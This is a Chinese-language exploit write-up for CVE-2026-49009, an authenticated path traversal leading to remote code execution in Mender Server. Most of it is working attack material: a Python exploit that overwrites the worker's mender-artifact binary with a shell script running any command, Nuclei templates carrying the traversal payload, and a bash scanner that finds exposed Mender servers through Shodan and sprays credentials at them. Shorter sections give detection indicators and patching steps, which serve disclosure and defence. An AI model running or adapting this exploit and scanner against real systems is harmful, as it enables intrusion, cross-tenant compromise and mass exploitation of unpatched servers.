
Mender Server - 认证路径遍历导致远程代码执行
Mender Server 版本 ≤4.1.0 和 ≤4.0.1 在单文件产物生成 API 端点中存在经过身份验证的路径遍历漏洞。攻击者可在 filename 字段中提供 ../ 序列,从而覆盖 create-artifact-worker 容器中的 /usr/bin/mender-artifact。当下一个工作流步骤调用该二进制文件时,任意命令将作为代码执行。
在多租户的 Hosted Mender 环境中,共享的 worker 容器处理所有租户的产物——从而实现跨租户入侵。
/api/management/v1/deployments/artifacts/generate 端点接受 JSON args 参数中的 filename 字段。该值用于构建产物生成过程中的磁盘写入路径。路径遍历序列(../)未被清理,导致攻击者可以控制的值逸出预期的上传目录。
┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1. AUTHENTICATE │ │ POST /api/management/v1/useradm/auth/login │ │ Authorization: Basic <base64(user:pass)> │ │ ──────────────────────────────────────────────────────► │ │ 200 OK + JWT token │ │ │ │ 2. SUBMIT TRAVERSAL PAYLOAD │ │ POST /api/management/v1/deployments/artifacts/generate │ │ Authorization: Bearer │ │ args.filename = "../../../../usr/bin/mender-artifact" │ │ file = │ │ ──────────────────────────────────────────────────────► │ │ 202 Accepted + Location │ │ │ │ 3. WORKER CONTAINER WRITES FILE │ │ /usr/bin/mender-artifact ← attacker payload │ │ │ │ 4. NEXT WORKFLOW TRIGGER │ │ create-artifact-worker invokes /usr/bin/mender-artifact │ │ ──────────────────────────────────────────────────────► │ │ REMOTE CODE EXECUTION │ └─────────────────────────────────────────────────────────────────┘
### 为何有效
| 因素 | 说明 |
|---|---|
| **未清理的路径** | `../../../../usr/bin/mender-artifact` 逃逸了预期目标路径 `/opt/mender/app/` |
| **异步处理** | `create-artifact-worker` 在工作流下游验证之前异步写入该文件 |
| **二进制劫持** | 后续工作流步骤在正常操作中调用 `/usr/bin/mender-artifact` |
| **容器重用** | 在多租户部署中,同一工作容器处理所有租户的工件 |
---
## 概念验证
> **需要授权。** 仅针对您拥有或已获得明确书面许可的系统运行。
### Python 漏洞利用代码
<details>
<summary>▶ 查看漏洞利用代码</summary>```python
#!/usr/bin/env python3
"""
CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE
Discovered by: j0xh-sec (HackerOne)
PoC by: INTELEON404 (Authorized security assessment)
"""
import argparse
import base64
import json
import re
import sys
import time
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def parse_args():
parser = argparse.ArgumentParser(
description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE",
epilog="Discovered by j0xh-sec | PoC by INTELEON404"
)
parser.add_argument("-t", "--target", required=True, help="Base URL, e.g. https://mender.local")
parser.add_argument("-u", "--username", required=True, help="Mender username / email")
parser.add_argument("-p", "--password", required=True, help="Mender password")
parser.add_argument("-c", "--command", required=True, help="Command to execute")
return parser.parse_args()
def banner():
print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE")
print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n")
def build_payload(command: str) -> bytes:
"""Encode command as base64 shell script; preserves mender-artifact stdin passthrough."""
encoded = base64.b64encode(command.encode()).decode()
return f"""#!/bin/sh
# CVE-2026-49009 payload — INTELEON404
CMD_B64="{encoded}"
CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
/bin/sh -c "$CMD"
exec /bin/sh "$@"
""".encode()
def main():
args = parse_args()
banner()
target = args.target.rstrip("/")
if not target.startswith(("http://", "https://")):
target = "https://" + target
host = target.split("://")[1].split("/")[0]
print(f"[*] Target : {target}")
print(f"[*] User : {args.username}")
# ── Step 1: Authenticate ──────────────────────────────────────────────
print("[*] Authenticating...")
try:
r = requests.post(
f"{target}/api/management/v1/useradm/auth/login",
auth=(args.username, args.password),
headers={"Host": host, "Content-Type": "application/json"},
data="{}",
verify=False,
timeout=30,
)
if r.status_code != 200:
raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}")
jwt = r.text.strip()
print("[+] JWT obtained")
except requests.RequestException as e:
raise RuntimeError(f"Connection error during login: {e}")
# ── Step 2: Submit traversal payload ─────────────────────────────────
print("[*] Submitting path traversal payload...")
artifact_name = f"rce-poc-{int(time.time())}"
args_json = {
"filename": "../../../../usr/bin/mender-artifact",
"dest_dir": "/opt/mender/app",
"software_name": "demo",
"software_version": "1",
}
files = {
"name": (None, artifact_name),
"description": (None, "CVE-2026-49009 PoC"),
"type": (None, "single-file"),
"device_types_compatible": (None, "qemu"),
"args": (None, json.dumps(args_json), "application/json"),
"file": ("payload.sh", build_payload(args.command), "application/octet-stream"),
}
try:
r = requests.post(
f"{target}/api/management/v1/deployments/artifacts/generate",
headers={"Host": host, "Authorization": f"Bearer {jwt}"},
files=files,
verify=False,
timeout=60,
allow_redirects=False,
)
except requests.RequestException as e:
raise RuntimeError(f"Connection error during exploit: {e}")
location = r.headers.get("Location", "")
if not location:
print(f"[!] HTTP {r.status_code} — no Location header returned")
print(f"[!] Response: {r.text[:500]}")
print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions")
sys.exit(1)
job_id = re.search(r"/([^/]+)$", location).group(1)
print(f"[+] Workflow submitted — Job ID: {job_id}")
print(f"[+] Payload : {args.command}")
print("\n[*] Command executes inside the worker container when the workflow completes.")
if __name__ == "__main__":
try:
main()
except RuntimeError as e:
print(f"\n[!] ERROR: {e}", file=sys.stderr)
sys.exit(1)
except KeyboardInterrupt:
print("\n[*] Interrupted")
sys.exit(130)
info: name: Mender Server - Authenticated Path Traversal to RCE Detection author: j0xh-sec severity: medium description: | Mender Server versions 4.1.0, 4.0.1, and below are vulnerable to an authenticated path traversal in the single-file artifact generation API endpoint. An attacker with a valid user account can supply a filename containing traversal sequences, causing the uploaded file payload to be written outside the intended directory. impact: | Successful exploitation gives an authenticated attacker remote code execution inside the create-artifact-worker container. remediation: | Upgrade to Mender Server 4.1.1, 4.0.2, or later. Affected versions include all releases prior to and including 4.1.0 and 4.0.1 for both Mender Server Community (Open Source) and Mender Server Enterprise. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-49009 - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-49009 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: northern.tech product: mender_server shodan-query: http.title:"Mender" fofa-query: title="Mender" tags: cve,cve2026,mender,path-traversal,rce,authenticated
http:
raw:
|+ POST /api/management/v1/deployments/artifacts/generate HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name"
cve-scan-{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="description"
CVE-2026-49009 verification ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="type"
single-file ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="device_types_compatible"
qemu ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="args" Content-Type: application/json
{"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="file"; filename="payload.sh" Content-Type: application/octet-stream
#!/bin/sh echo ------WebKitFormBoundary{{randstr}}--
matchers-condition: or matchers:
python3 cve-2026-49009.py
-t https://mender-server.local
-u [email protected]
-p 's3cret!'
-c 'id > /tmp/pwned.txt'
### Nuclei```bash
nuclei -t CVE-2026-49009.yaml \
-u https://mender-server.local \
-var [email protected] \
-var PASSWORD='s3cret!'
./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword'
./cve-2026-49009-scanner.sh -c creds.txt
./cve-2026-49009-scanner.sh -n -t targets.txt -u [email protected] -P 'YourPassword'
./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword' -p 10 -r 150
---
## 检测与指标
### 应用/主机
| 指标 | 描述 |
|---|---|
| 遍历文件名后的 `Location` 响应头 | 服务器在接收含 `../` 的文件名后返回 `Location` |
| 可疑工件名称 | 模式:`cve-poc-*`、`rce-poc-*`、`pwn-*` |
| 修改后的二进制时间戳 | 工作容器内 `/usr/bin/mender-artifact` 时间戳发生变化 |
| 意外的 Worker 输出 | 容器日志显示与工件处理无关的命令 |
### 网络
| 指标 | 描述 |
|---|---|
| 向 `artifacts/generate` 发送 POST 请求 | `args` JSON 中包含 `../` 序列 |
| 认证 + 上传配对 | 同一来源 IP 先进行 Basic Auth 登录,紧接着进行 multipart 上传 |
### Nuclei 匹配逻辑
模板在以下条件时返回阳性结果:
1. `POST /useradm/auth/login` → `HTTP 200` + 有效 JWT(长度 > 100 字符)
2. `POST /artifacts/generate` → `HTTP 2xx` + 存在 `Location` 响应头
已修复的服务器(≥ 4.1.1 / 4.0.2)会在步骤 2 中以 `HTTP 4xx` 拒绝遍历路径。
---
## 补救措施
| 优先级 | 操作 |
|---|---|
| **立即** | 升级至 Mender Server **4.1.1** 或 **4.0.2** |
| **补偿性控制** | 启用加密工件签名——设备会拒绝被篡改的工件 |
| **临时方案** | 限制 API 仅对可信网络开放;若未使用则禁用工件生成功能 |
| **审计** | 审查日志中是否存在含异常 `filename` 值的工件生成请求 |
---
## 时间线
| 日期 | 事件 |
|---|---|
| 2026-04-01 | 发布修复版本 Mender Server 4.1.1 / 4.0.2 |
| 2026-05-27 | CVE 发布;Northern.tech 发布安全公告 |
| 2026-05-27 | INTELEON404 发布 PoC |
---
## 参考
- [NVD — CVE-2026-49009](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
- [Northern.tech 安全公告](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server)
- [OpenCVE 条目](https://app.opencve.io/cve/CVE-2026-49009)
- [Tenable CVE 页面](https://www.tenable.com/cve/CVE-2026-49009)
- [Mender Server 更新日志](https://docs.mender.io/release-information/release-notes-changelog/mender-server)
- [Mender Enterprise 更新日志](https://docs.mender.io/release-information/release-notes-changelog/mender-server-enterprise)
- [INTELEON404/CVE-2026-49009](https://github.com/INTELEON404/CVE-2026-49009)
- [j0xh-sec/CVE-2026-49009](https://github.com/j0xh-sec/CVE-2026-49009)
---
## 免责声明
> [!WARNING]
> **仅限授权的安全测试和教育用途。**
>
> 此概念验证仅严格适用于您拥有或已获得**明确书面授权**进行测试的系统。未经授权访问计算机系统违反《计算机欺诈和滥用法》(CFAA)、《计算机滥用法》(CMA)以及全球范围内的同等法律。
>
> 作者不对因使用本材料而导致的滥用、损害或非法活动承担任何责任。
---
<div align="center">
**发现者** [j0xh-sec](https://hackerone.com/j0xh-sec) 通过 HackerOne · 对 Northern.tech 进行负责任披露
**PoC 作者** INTELEON404 · 授权的安全评估
</div>
| 字段 | 详情 |
|---|
| CVE 编号 | CVE-2026-49009 |
| CVSS 评分 | 9.9 严重 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-22 — 路径名限制不当(路径遍历) |
| 受影响产品 | Northern.tech Mender Server(社区版与企业版) |
| 发现者 | j0xh-sec 通过 HackerOne(负责任披露) |
| PoC 作者 | INTELEON404 — 授权安全评估 |
| CVE 发布日期 | 2026-05-27 |
| 补丁发布日 | 2026-04-01(Mender Server 4.1.1 / 4.0.2) |
| 产品 | 受影响版本 | 已修补版本 |
|---|
| Mender Server(社区版) | ≤ 4.1.0, ≤ 4.0.1 | 4.1.1, 4.0.2 |
| Mender Server(企业版) | ≤ 4.1.0, ≤ 4.0.1 | 4.1.1, 4.0.2 |
| Hosted Mender | 全部(补丁前) | 自动修补 |
</details>
## Nuclei POC
<a href="https://ibb.co.com/27n0JF6s"><img src="https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg" alt="poc" border="0"></a>
---
### ShodanX + Nuclei 扫描器
将 [ShodanX](https://github.com/RevoltSecurities/ShodanX) 侦察与 Nuclei 扫描相结合,以大规模发现和评估 Mender Server 实例。
**阶段:**
1. **发现** — ShodanX 使用 dork `http.title:"Mender"` 提取 IP:端口对
2. **扫描** — Nuclei 针对发现的目标运行 CVE 模板并进行凭证轮换
3. **报告** — 去重后的 JSON + 纯文本输出
<details>
<summary>▶ 查看扫描脚本 (cve-2026-49009-scanner.sh)</summary>```bash
#!/bin/bash
set -euo pipefail
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
TIMESTAMP="$(date +%Y%m%d_%H%M%S)"
OUTPUT_DIR="${SCRIPT_DIR}/cve-2026-49009-scan-${TIMESTAMP}"
SHODAN_QUERY='http.title:"Mender"'
PAGES=3
RATE=50
NO_SHODAN=false
CREDS_ARRAY=()
usage() {
cat <<EOF
Usage: $0 [options]
-u, --username Mender username
-P, --password Mender password
-c, --creds Credentials file (username:password, one per line)
-q, --query Shodan query (default: http.title:"Mender")
-o, --output Output directory
-p, --pages Shodan result pages (default: 3)
-r, --rate Nuclei rate limit (default: 50)
-n, --no-shodan Skip ShodanX discovery
-t, --targets Target file (used with --no-shodan)
-h, --help Show this help
EOF
exit 0
}
while [[ $# -gt 0 ]]; do
case "$1" in
-q|--query) SHODAN_QUERY="$2"; shift 2 ;;
-o|--output) OUTPUT_DIR="$2"; shift 2 ;;
-p|--pages) PAGES="$2"; shift 2 ;;
-u|--username) USERNAME="$2"; shift 2 ;;
-P|--password) PASSWORD="$2"; shift 2 ;;
-c|--creds) CREDS_FILE="$2"; shift 2 ;;
-n|--no-shodan) NO_SHODAN=true; shift ;;
-t|--targets) TARGETS_FILE="$2"; shift 2 ;;
-r|--rate) RATE="$2"; shift 2 ;;
-h|--help) usage ;;
*) echo "Unknown option: $1"; usage ;;
esac
done
check_deps() {
command -v shodanx &>/dev/null || {
echo "[*] Installing ShodanX..."
pip install git+https://github.com/RevoltSecurities/ShodanX --quiet
}
command -v nuclei &>/dev/null || {
echo "[!] Nuclei not found. Install: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
exit 1
}
}
write_template() {
cat > "${OUTPUT_DIR}/CVE-2026-49009.yaml" << 'TMPL'
id: CVE-2026-49009
info:
name: Mender Server - Authenticated Path Traversal to RCE
author: j0xh-sec
severity: critical
description: Mender Server <=4.1.0/4.0.1 authenticated path traversal to RCE.
remediation: Upgrade to 4.1.1 or 4.0.2.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-49009
- https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-49009
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
vendor: northern.tech
product: mender_server
tags: cve,cve2026,mender,path-traversal,rce,authenticated,intrusive
http:
- raw:
- |+
POST /api/management/v1/useradm/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Basic {{base64('{{username}}:{{password}}')}}
{}
- |+
POST /api/management/v1/deployments/artifacts/generate HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{jwt}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="name"
cve-poc-{{randhex_6}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="args"
Content-Type: application/json
{"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="file"; filename="payload.sh"
Content-Type: application/octet-stream
#!/bin/sh
/usr/bin/id>/tmp/.cve-2026-49009
------WebKitFormBoundary{{randstr}}--
extractors:
- type: regex
name: jwt
part: body
internal: true
regex:
- "([A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)"
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'len(jwt) > 100'
- 'status_code_2 >= 200 && status_code_2 < 300'
- 'contains(to_string(header_2_all), "Location")'
condition: and
TMPL
echo "[+] Nuclei template written: ${OUTPUT_DIR}/CVE-2026-49009.yaml"
}
shodanx_discover() {
echo "[*] ShodanX discovery: ${SHODAN_QUERY} (pages: ${PAGES})"
mkdir -p "${OUTPUT_DIR}"
shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
--output "${OUTPUT_DIR}/shodanx-raw.txt" --format json 2>/dev/null || \
shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
--output "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null || true
if jq -r '.[] | "\(.ip_str):\(.port // "443")"' "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | \
grep -v '^:$\|^null' | sort -u > "${OUTPUT_DIR}/targets.txt" 2>/dev/null; then
:
else
grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+(:[0-9]+)?' \
"${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | sort -u > "${OUTPUT_DIR}/targets.txt" || true
fi
echo "[+] $(wc -l < "${OUTPUT_DIR}/targets.txt" 2>/dev/null || echo 0) targets discovered"
}
nuclei_scan() {
[[ ! -s "${OUTPUT_DIR}/targets.txt" ]] && { echo "[!] No targets to scan"; return; }
echo "[*] Running Nuclei scan (rate: ${RATE})..."
for cred in "${CREDS_ARRAY[@]}"; do
nuclei -silent \
-t "${OUTPUT_DIR}/CVE-2026-49009.yaml" \
-l "${OUTPUT_DIR}/targets.txt" \
-var "USERNAME=${cred%%:*}" \
-var "PASSWORD=${cred#*:}" \
-rate-limit "${RATE}" \
-jsonl \
-o "${OUTPUT_DIR}/nuclei-results.json" \
-timeout 15 -retries 2 -irr 2>/dev/null
done
if [[ -f "${OUTPUT_DIR}/nuclei-results.json" ]]; then
COUNT=$(wc -l < "${OUTPUT_DIR}/nuclei-results.json")
echo "[+] ${COUNT} vulnerability(ies) confirmed"
jq -r '.["matched-at"] // .host // empty' "${OUTPUT_DIR}/nuclei-results.json" 2>/dev/null | \
sort -u > "${OUTPUT_DIR}/vulnerable-hosts.txt"
else
echo "[-] No vulnerabilities found or no results returned"
fi
}
main() {
check_deps
mkdir -p "${OUTPUT_DIR}"
write_template
if $NO_SHODAN; then
[[ -n "${TARGETS_FILE:-}" && -f "$TARGETS_FILE" ]] && \
cp "$TARGETS_FILE" "${OUTPUT_DIR}/targets.txt" || \
{ echo "[!] --no-shodan requires --targets <file>"; exit 1; }
else
shodanx_discover
fi
if [[ -n "${USERNAME:-}" && -n "${PASSWORD:-}" ]]; then
CREDS_ARRAY=("${USERNAME}:${PASSWORD}")
elif [[ -n "${CREDS_FILE:-}" ]]; then
while IFS=':' read -r u p; do
[[ -n "$u" && -n "$p" ]] && CREDS_ARRAY+=("${u}:${p}")
done < "$CREDS_FILE"
else
echo "[!] Credentials required: use -u/-P, -c <file>, or set MENDER_USERNAME/MENDER_PASSWORD"
exit 1
fi
nuclei_scan
echo "[+] Scan complete. Results in: ${OUTPUT_DIR}/"
}
main
| 依赖项 | 安装 |
|---|
| Python 3.8+ | apt install python3 python3-pip |
requests / urllib3 | pip install requests urllib3 |
| Nuclei | go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest |
| ShodanX (可选) | pip install git+https://github.com/RevoltSecurities/ShodanX |